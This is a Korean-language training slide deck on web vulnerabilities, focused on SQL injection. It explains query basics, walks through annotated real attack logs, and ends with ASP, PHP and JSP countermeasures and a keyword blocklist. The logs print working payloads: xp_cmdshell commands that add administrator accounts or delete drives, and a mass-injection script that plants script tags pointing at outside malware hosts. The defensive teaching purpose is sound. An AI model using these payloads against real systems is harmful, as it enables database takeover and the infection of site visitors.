4. SQL Injection 공격 로그 – 세 번째

Download Report

Transcript 4. SQL Injection 공격 로그 – 세 번째

1
Section II. 웹 취약점의 공격과 방어
3. 웹 취약점 분류
4. SQL Injection
5. XSS
6. 파일 업로드
7. 파일 다운로드
8. 디렉토리 노출
9. 인증이 없는 관리자 페이지
10. 쿠키변조 및 재사용
11. 파라미터 변조를 통한 시스템 명령어 사용
12. 자바스크립트 우회
13. HTTP 메소드
14. 불필요한 파일 노출
15. 에러 노출
16. 검색엔진
2
학습 포인트
1. 웹 취약점 종류 및 원인에 대한 이해
2. 취약점별 공격로그의 이해
3. 취약점별 대책(코딩 및 설정)
3
3. 취약점 분류
사이트 : www.owasp.org
웹 취약점을 10가지 형태로 분류하고 정의하며, 웹 보안에 관심 있는 기업 및 개인이 함께
공통된 프로젝트 수행
4
3. 취약점 분류
구분
점검 항목
1
SQL Injection
2
XSS
3
파일 업로드
4
파일 다운로드
5
디렉터리 인덱싱
6
관리자 페이지 노출
7
쿠키 변조
8
URL 파라미터 변조
9
사용자 측 스크립트 변조
10
에러 페이지 노출
11
중요 정보 노출
12
13
백업 파일 노출
기본 설치 페이지 노출
14
HTTP Method 정보 노출
설명
로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인
우회 및 DB를 변조 하는 공격
게시판 및 URL파라미터에 스크립트를 삽입하여 해당
글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공
격
ASP, PHP, JSP와 같이 파일을 업로드 하여 시스템 권
한을 획득하는 공격
파일 다운로드 처리 파라미터를 조작하여 시스템 파일
에 접근하는 공격
특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격
master.jsp, admin.php 등의 관리자 페이지 노출 및관리
자 페이지에 대한 추가 취약점으로 인한 권한 획득 공
격
쿠키 내 권한 관련 값 변조 및 도용하는 공격
파라미터 변조를 통해 정상적인 절차(관리자 글 작성
제한 등)를 우회하는 공격
자바스크립트 및 히든필드 변조를 통해 인증 권한을 도
용하는 행위
시스템 에러를 통해 시스템 정보를 획득하는 공격
페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포
함되는 경우
백업 파일 노출로 인해 시스템 로직을 파악하는 공격
웹 서버 기본 페이지 등의 노출
PUT, DELETE 메소드를 악용하여 파일 생성 및 삭제 등
의 공격
5
4. SQL Injection – 데이터베이스의 이해(1)
• 데이터 : 현실 세계에서 존재하는 여러 가지 정보
예) 친구 이름, 주소 등
•
데이터베이스 : 데이터를 효율적으로 관리하기 위해 분리한 정보
데이터베이스
…
이름
주소
..
제품명
가격
..
테이블
사번
직책
..
필드
6
4. SQL Injection – 데이터베이스의 이해(2)
• 데이터베이스의 테이블을 정의하고 작성한다.
DLL 언어 : create(생성), alter(변경), drop(삭제)
• 데이터베이스를 추가, 갱신, 삭제 및 검색을 수행한다.
DML 언어 : select, insert, update, delete
• 데이터베이스 보안과 데이터의 연속성을 유지한다.
DCL 언어 : grant(권한할당), revoke(권한제거), commit(데이터변경승인)
, rollback(데이터변경취소)
4. SQL Injection – 데이터베이스의 이해(3)
Select * from 상품 ;
Select * from 상품 where 상품이름 = ‘mp3’ ;
테이블 이름 : 상품
상품번호
상품이름
가격
1
Mp3
100,000
2
notebook
1000,000
..
..
..
4. SQL Injection – 데이터베이스의 이해(4)
insert into 상품 (상품번호, 상품이름, 가격) Values(100, ‘LCD’, ‘3000000’);
테이블 이름 : 상품
상품번호
상품이름
가격
1
mp3
100,000
2
notebook
1,000,000
..
..
..
100
LCD
3,000,000
4. SQL Injection – 데이터베이스의 이해(5)
update 상품 set 가격 = 50000 where 상품이름 = ‘mp3’ ;
테이블 이름 : 상품
상품번호
상품이름
가격
1
mp3
50000
2
notebook
1,000,000
..
..
..
100
LCD
3,000,000
4. SQL Injection – 데이터베이스의 이해(6)
Select * from 직장인
Union
Select * from 학생;
두개의 조건 일치
( 조건 : 두개의 데이터형이 동일 )
직장인
학생
4. SQL Injection – 데이터베이스의 이해(7)
select 지역이름, AVG(점포면적) from 지역 -------------- ①
group by 지역이름
-------------- ②
having AVG(점포면적) < 700;
-------------- ③
①
지점명
지역이름
점포면적
신사점
지역1
500
도곡점
지역2
560
…
…
…
②
지역이름
AVG(점포면적)
지역1
670
지역2
890
지역3
400
③
지역이름
AVG(점포면적)
지역1
670
지역3
400
4. SQL Injection – 데이터베이스의 이해(8)
숫자 형태에만 적용 가능
select sum(면적) 면적합계 from 지점;
테이블이름 : 지점
지점명
면적
직원수
신사점
800
20
도곡점
600
30
…
…
…
면적합계 : 32000
4. SQL Injection – 데이터베이스의 이해(8)
select sum(지점명) 면적합계 from 지점;
테이블이름 : 지점
지점명
면적
직원수
신사점
800
20
도곡점
600
30
…
…
…
에러가 발생 ORA-01722 수 값이 유효하지 않습니다.
4. SQL Injection – 종류 구분
① SQL Injection – 논리적 에러
예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘
② Blind SQL Injection – 쿼리 결과 여부
예1. http://www.xxx.com/page.php?id=5 and 1=1
예2. http://www.xxx.com/page.php?id=5 and 1=2
③ Union SQL Injection – 이중 쿼리
예1. http://www.site.com/news.php?id=5
union all select top 1 table_name from information_schema.tables
④ Stored Procedure SQL Injection - 저장프로시저
예1. http://www.site.com/member/checkid.asp?id=
';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 12
15
4. SQL Injection – 원인은 무엇인가?
System Object 권한제어 없이 기본 값 사용
1 ) exec master..xp_cmdshell 'net user administrator password'
디폴트 유저인 administrator의 패스워드 변경
2 ) exec master..xp_cmdshell 'dir c:\'
C 드라이브 정보 보기
3 ) exec master..xp_cmdshell 'del c:\ /q/s'
C 드라이브 파일 삭제
DB 계정을 관리자 계정(sa) 으로 일괄적 사용
1) bbs/bbs.asp?id=1
16
4. SQL Injection 기본 방법 이해
$id=admin
$passwd=
1’ or ‘1=1
admin
**********
관리자로 로그인 성공
$strLoginSQL = "Select * from member where
id = ‘admin'
'$strUserID'
and and
password
password
= ‘1’=or
'$strUserPass'";
‘1 = 1'";
FALSE
TRUE
TRUE
17
4. SQL Injection 기본 방법 이해 – 실습(1)
②
①
③
18
4. SQL Injection 기본 방법 이해 – 실습(2)
19
4. SQL Injection 기본 방법 이해 – 실습(3)
20
4. SQL Injection 기본 방법 이해 – 실습(4)
21
4. SQL Injection 기본 방법 이해 – 실습(5)
1) 계정 ‘--
암호 --
에러정보
Uname=%27--&Pass=%27--&submitLogin=Submit
2) 계정 'or 1=1 암호 'or 1=1
에러정보
'UserName = ''or 1=1' and Pass = ''or 1=1'‘
Quiz .
1번과 2번 정보를 바탕으로 어떤 값을 넣어야 하는가?
22
4. SQL Injection 공격 로그의 특징
■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러
- 응답코드 500 : Internal Server Error
■ 운영과 관련 없는 형태의 질의 요청(시스템 명령어 및 특수문자 포함 등)
- 특수문자 : ‘
;
xp_cmdshell 등
23
4. SQL Injection 공격 로그 – 첫 번째
1. Number=2002-002412'|63|80040e14|'2002-002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다.
2. Number=2002-002412' and user=1 and ''='|63|80040e07|nvarchar_값_'team'을(를)_int_데이터_형식의_
열로_변환 하는_중_구문_오류가_발생했습니다. 500
3. Number=2002-002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1
And ''='|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다.
500
4. /Report.asp Number=2002-002412' And Cast(IS_MEMBER(db_owner) as
varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_
구문_오류가_발생했습니다. 500
5. Number=2002-002412’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
6. Number=2002-002412’;
EXEC%20MASTER..XP_CMDSHELL%20'echo%20^<iframe%20src=^'http://www.netpk.org/subway/icyfo
x.htm^'%20
24
4. SQL Injection 공격 로그 – 첫 번째
데이터타입불일치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함
(예1) ' and user=1 and ''=‘
(예2) char(124)+user+char(124)=0 and '%'=‘ ( char(124)는 파이프를 의미함
명령어
User
user_name(1)
current_name
session_user
sp_helpuser
sys.syslogins
sp_helplogins
sys.sql_logins
xp_logininfo
is_srvrolemember
has_dbaccess
|user|=0 )
역할
DB 사용자 이름
DB 사용자를 순차적으로 반환
현재 로그인한 DB 사용자 이름
현재 세션의 DB 사용자 이름
모든 사용자 정보에 대해서 확인
모든 사용자의 로그인한 히스토리 정보
로그인 정보에 대해서 확인
SQL 로그인 정보. ID, 패스워드 해쉬값
사용자 로그인에 대한 정보
사용자의 권한을 확인
사용자가 DB에 접근 권한이 있는지 확인
25
4. SQL Injection 공격 로그 – 첫 번째
확인한 계정의 서버역할이 sysadmin 인지 요청함
' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘
IS_SRVROLEMEMBER(서버역할)
sysadmin
serveradmin
setupadmin
securityadmin
processadmin
관리자권한(모든권한수행)
서버차원의 설정을 구성
연결된 서버 추가 및 제거
서버 로그인 관리
SQL 인스턴스에서 실행중인 프로스세 관리
26
4. SQL Injection 공격 로그– 첫 번째
확인한 계정의 DB역할이 db_owner 인지 요청함
' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='
IS_MEMBER(DB역할)
db_owner
db_accessadmin
db_datareader
모든 db역할 수행
db내 사용자 추가 및 삭제
사용자테이블에서 모든 데이터 보기
27
4. SQL Injection 공격 로그 – 첫 번째
마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성
’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll‘
* MS SQL의 기본 DB 구성 요소
• Master db : 로그인 계정, 환경설정, 시스템 저장 프로시저와 같은 시스템에
영향을 미치는 정보 저장(중요)
• Msdb : 작업정의, 연산자, 수정작업과 같은 정보 저장
• Model : 참조 db이며, 사용자를 이를 바탕으로 db 작성
• Tempdb : 임시 테이블 및 임시 저장 프로시저 저장
* 저장 프로시저(Stored Procedure)
함수와 비슷한 개념으로 쿼리문의 집합, 특정 작업을 일괄 처리하기위한 용도로 사용
28
4. SQL Injection 공격 로그 – 첫 번째
생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…..) 및 소스
중간 삽입
’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^
<iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20
악성프로그램(다운로드)
사용자
<iframe src=http://xxx.xxx>
29
4. SQL Injection 공격 로그 – 두 번째
2007-01-05 15:50:54 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp
id=';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an';
2007-01-05 15:51:42 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp
id=';CR.....mdshell%20'net%20user%203800hk%203800hk%20/add'; --- 중략 --2007-01-05 15:51:59 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp
id=';CRE.....shell%20'net%20localgroup%20administrators%203800hk%20/add'; --- 중략 --
');exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'-- 200
확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc
;exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'--
30
4. SQL Injection 공격 로그 – 세 번째
/Test/Test.asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key=
|24|80040e14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_
않은_인용_부호가_있습니다. 500
=== 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적
/Report.asp Number=2002-002412' and user=1 and ''=‘
|63|80040e07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_
발생했습니다. 500
=== 에러 노출을 이용한 db 계정 획득 목적
200X-09-10 06:24:49 /Report.asp Number=2002-002412' And
Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)
as varchar(1))+char(124)=1 And ''=‘
|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_
발생했습니다. 500
=== db계정(blabla)가 sysadmin 인지를 확인
31
4. SQL Injection 공격 로그 – 세 번째
IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)
= IS_SRVROLEMEMBER(sysadmin)
32
4. SQL Injection 공격 로그 – 세 번째
/Report.asp Number=2002-002412' And Cast(IS_MEMBER(0x640062005F006F0077006E006
5007200) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_
형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500
=== db_owner인지 확인 요청
Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)
= Cast(IS_MEMBER(db_owner)
33
4. SQL Injection 공격 로그 – 세 번째
200X-09-10 06:24:52 /Report.asp Number=2002-002412' And db_name()+char(124)=0
And ''='|63|80040e07|nvarchar_값_'blabla|'을(를)_int_데이터_형식의_열로_변환하는_중_
구문_오류가_발생했습니다. 500 Microsoft+URL+Control+-+6.00.8862
db_name() 함수 : 데이터베이스 이름 제공
34
4. SQL Injection 공격 로그 – 세 번째
/Report.asp Number=2002-002412';DROP TABLE NB_TreeList_Tmp;CREATE TABLE NB_TreeLi
st_Tmp(subdirectory nvarchar(256) NULL,depth tinyint NULL,[file] bit NULL)-- 200 Microsoft
+URL+Control+-+6.00.8862
(1) 테이블 삭제 ( drop nb_treelist_tmp )
(2) 테이블 생성 ( create table nb_treelist_tmp … )
35
4. SQL Injection 공격 로그 – 세 번째
200X-09-10 06:25:22 /Report.asp Number=2002-002412';Insert NB_TreeList_Tmp exec
master..xp_dirtree 'C:\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
=== 디렉토리 정보 테이블에 삽입
exec master..xp_dirtree 'C:\‘
1
1
36
4. SQL Injection 공격 로그 – 세 번째
200X-09-10 06:25:22 /Report.asp Number=2002-002412' And (Select Top 1 cast([subdirectory] as
varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 1 [subdirectory],[f
ile] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirec
tory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'ASFRoot|0|'을(를)_int_데이터_형식의_열
로_변환하는_중_구문_오류가_발생했습니다. 500
200X-09-10 06:25:32 /Report.asp Number=2002-002412' And (Select Top 1 cast([subdirectory] as
varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 21 [subdirectory],[fil
e] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory]
desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'WS_FTP.LOG|1|'을(를)_int_데이터_형식의_열
로_변환하는_중_구문_오류가_발생했습니다. 500
37
4. SQL Injection 공격 로그 – 세 번째
SQL> SELECT rowid, rownum, deptno, dname from dept;
ROWID ROWNUM
DEPTNO
DNAME
------------------ ---------- ---------- -------------AAA
1
10
ACCOUNTING
AAB
2
20
RESEARCH
AAC
3
30
SALES
AAD
4
40
OPERATIONS
SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC);
ENAME
SAL
ROWNUM
---------- ---------- ---------ABBK
7000
1
KING
5000
2
FORD
3000
3
SCOTT
3000
4
JONES
2975
5
BLAKE
2850
6
CLARK
2450
7
ALLEN
1600
8
38
4. SQL Injection 공격 로그 – 세 번째
200X-09-10 06:33:17 /Report.asp Number=2002-002412';declare @a sysname,@s
nvarchar(4000) select @a=db_name(),@s=0x6C006F00760065002E00620061006B
00 backup database @a to disk=@s;-- 200
-Declare : 선언하는 함수
-@a를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당)
- @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을
할당함, 즉 love.bak라는 이름을 @s로 별칭줌
@s=0x6C006F00760065002E00620061006B00
- Backup database @a(db_name()) to disk=@s
참고) 백업 명령: backup database 데이터베이스이름 to 백업장치
39
4. SQL Injection 공격 로그 – 네 번째
200X-XX-13 14:15:45 x.x.x.x GET /totalboards/bbs/view.asp board_id=normal93&number=2'%20u
pdate%20normal%20set%20subject%20=%20'%3CB%3E!nf3rN.4lL%3C/b%3E';--|402|800a000d|형
식이_일치하지_않습니다.:_'cint'
Update normal(테이블이름) set subject(필드) = '<h2>!nf3rN.4lL Was Here<
/2>‘(내용);
참고)update 테이블이름 set 필드이름 = ‘변경내용’
Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득
가능하였을 까?
40
4. SQL Injection 공격 로그 – 네 번째
Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득
가능하였을 까?
‘having 1=1--
테이블 이름 : FSB_USERS
필드 : user_id
에러
4. SQL Injection 공격 로그 – 네 번째
테이블 이름 : FSB_USERS
필드 : user_id
그렇다면 다른 필드 값은 어떻게?
‘group by user_id having 1=1--
테이블 이름 : FSB_USERS
필드 : user_id
user_name
4. SQL Injection 공격 로그 – 네 번째
테이블 이름 : FSB_USERS
필드 : user_id
user_name
user_id
password
creation_date
그렇다면 필드의 데이터 타입은?
'UNION select sum(user_id) from FSB_USERS having 1=1-참고 : sum은 숫자 타입에만 사용 가능
The sum or average aggregate operation cannot
take a varchar data type as an argument.
4. SQL Injection 공격 로그 – 네 번째
결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해
임의 데이터 변조가 가능함
테이블 이름 : FSB_USERS
필드 : user_id
( integer )
user_name ( varchar )
user_id
( varchar )
password
( varchar )
creation_date ( datetime )
'insert into FSB_USERS values
(user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--
4. SQL Injection 공격 로그 – 다섯 번째
Mass SQL Injection : 데이터베이스의 정보를 악용하여 악성코드 링크를
특정 테이블의 필드 혹은 전체 테이블의 필드(게시판 등)에 삽입하여
접속하는 사용자를 악성코드에 감염시키는 대량 공격 기법
http://xxx.com
데이터베이스
사용자
…
게시판
사용자
<script src=http://xxx.com>
테이블
우편번호
필드
45
4. SQL Injection 공격 로그 – 다섯 번째
GET /home/site_content_3.asp
s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C006100
중간생략…00200040006D003D005200450056004500520053004500280040006D0029003B00
730065007400200040006D003D0073007500620073007400720069006E006700280040006D
002C0050004100540049004E004400450058002800270025003B00250027002C0040006D002
9002C00380030003000300029003B00730065007400200040006D003D00520045005600450
0520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS
%20NVARCHAR(4000));EXEC(@S);-declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=
rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and
b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERS
E(@m);exec(@m);
46
4. SQL Injection 공격 로그 – 다섯 번째
Sysobjects(데이터베이스에서 만들어진 각 개체(제약 조건, 기본값, 로그, 규칙, 저장 프로시
저 등)에 대해 한 행을 포함합니다.
syscolumns(모든 테이블과 뷰에 있는 각 칼럼 정보 제공),
systypes(데이터베이스에 있는 모든 시스템 데이터 타입과 정의 데이터 타입을 제공)
Sysobjects 정보
47
4. SQL Injection 공격 로그 – 다섯 번째
sysobjects의 type 필드
C = CHECK 제약 조건
D = 기본값 또는 DEFAULT 제약 조건
F = FOREIGN KEY 제약 조건
FN = 스칼라 함수
IF = 인라인 테이블 함수
K = PRIMARY KEY 또는 UNIQUE 제약 조건
L = 로그
P = 저장 프로시저
R = 규칙
RF = 복제 필터 저장 프로시저
S = 시스템 테이블
TF = 테이블 함수
TR = 트리거
U = 사용자 테이블
V=뷰
X = 확장 저장 프로시저
Quiz. 어떤 의미인가?
select * from sysobjects where type = 'U';
48
4. SQL Injection 공격 로그 – 다섯 번째
Syscolumns, systypes 정보
49
4. SQL Injection 공격 로그 – 다섯 번째
declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=
rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and
b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERS
E(@m);exec(@m);
Sysobjects(테이블 이름)
Syscolumns(테이블 필드),
Systypes(테이블 필드의 데이터 타입)
dbo.sysobjects a ( sysobjects를 a 로 별칭 )
dbo.syscolumns b ( syscolumn를 b 로 별칭 )
dbo.systypes c ( systypes를 c 로 별칭 )
where a.id=b.id and a.xtype='U‘ and b.xtype=c.xtype and c.name='varchar';
테이블정보
사용자테이블
테이블 필드
데이터필드 중 varchar
50
4. SQL Injection 공격 로그 – 다섯 번째
declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=
rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and
b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERS
E(@m);exec(@m);
Sysobjects(테이블 이름)
Syscolumns(테이블 필드),
Systypes(테이블 필드의 데이터 타입)
UPDATE 테이블명 SET 속성명 = 데이터[, 속성명 = 데이터, ..] WHERE 조건;
예) <사원> 테이블에서 홍길동의 주소를 '이월면' 으로 갱신하는 SQL문
UPDATE 사원 SET 주소='이월면' WHERE 이름='홍길동';‘
update['+a.name+']set['+b.name+']= rtrim(convert(varchar,'+b.name+'))+''<scrip
t src="http://yl18.net/0.js"></script>'';'
51
4. SQL Injection 공격 로그 – 다섯 번째
declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=
rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and
b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERS
E(@m);exec(@m);
• reverse()함수 - 문자열을 역순으로 출력
• substring()함수 – 문자열의 시작위치를 지정하고, 해당 위치부터 길이를 출력
형식: SUBSTRING(문자열, 시작위치, 길이)
(예) SELECT Substring('abcde',2,3) 결과>> bcd
patindex()함수 - 문자열이 시작되는 위치 알려줌
• 쿼리 실행 전 게시판 글 변조된 형태 : 게시판;<script>;
• Reverse()함수적용:
;<tpircs>;판시게
• Substring()함수적용 :
기존 게시판 글 일부 손실을 방지하기 위해 ;부터 시작해서 8000바이트 정도를
출력하고 다시 이를 reverse하여 원래의 형태로 변경함
• Reverse()함수적용: 게시판;<script>;
52
4. SQL Injection 공격 로그 – 다섯 번째
감염된 사이트에 대한 Google 검색
site:co.kr 1.js
53
4. SQL Injection 공격 대책
ASP.
Replace()함수를 사용하여 특수문자(‘) 등을 일반문자열로 변환
(예) Prodid = replace(prodid, "'", "''“)
54
4. SQL Injection 공격 대책
PHP.
addslashes() 함수 사용 특수문자 필터링
(예)
$query=sprintf("SELECT id, password, username FROM user_table
WHERE id='%s';“ , addslashes($id));
55
4. SQL Injection 공격 대책
JSP.
preparedStatement 를 사용하면
쿼리시의 value에 특수문자(‘)는 입력값 자체로 처
리되어 SQL Injection을 차단함
56
4. SQL Injection 공격 대책
ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에
적용하지 않고 필터링 효과를 제공 받을 수 있다.
sql_pattern = Array("-", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar",
"alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end",
"exec","execute", "fetch", "insert", "kill", "open","select", "sys", "sysobjects",
"syscolumns","table", "update", "<script", "</script>", "'") ( 공격패턴 정의 )
for each item in Request.QueryString ( GET방식 입력 값 )
for array_counter = lbound(sql_pattern) to ubound(sql_pattern) ( sql_pattern 배열크기계산 )
item_position1 = InStr(lcase(Request(item)), sql_pattern(array_counter))
Instr()함수는 들어온 문자열을 검사합니다.
lcase()함수는 대문자를 소문자로 무조건 변환
if (item_position1 > 0) or (item_position2 > 0) then ( 공격문자열이 있는 경우 )
Response.Write("악의적인 문자열이 포함되어 있습니다.“)
57
4. SQL Injection 공격 대책
자바 스크립트를 이용한 사용자 입력 값 필터링
58
4. SQL Injection 공격 대책
function h_check(Objectname)
{ var intErr var strValue = Objectname// var strValue = Objectname.value var retCode = 0
for (i = 0; i < strValue.length; i++)
{ var retCode = strValue.charCodeAt(i) var retChar = strValue.substr(i,1).toUpperCase() re
tCode = parseInt(retCode)
if ((retChar < "0" || retChar > "9") && retChar != '-' && retChar !='_' && (retChar < "A"
|| retChar > "Z") && ((retCode > 255) ||retChar=="'"||(retCode < 0)))
{
intErr = -1;
break; } }
59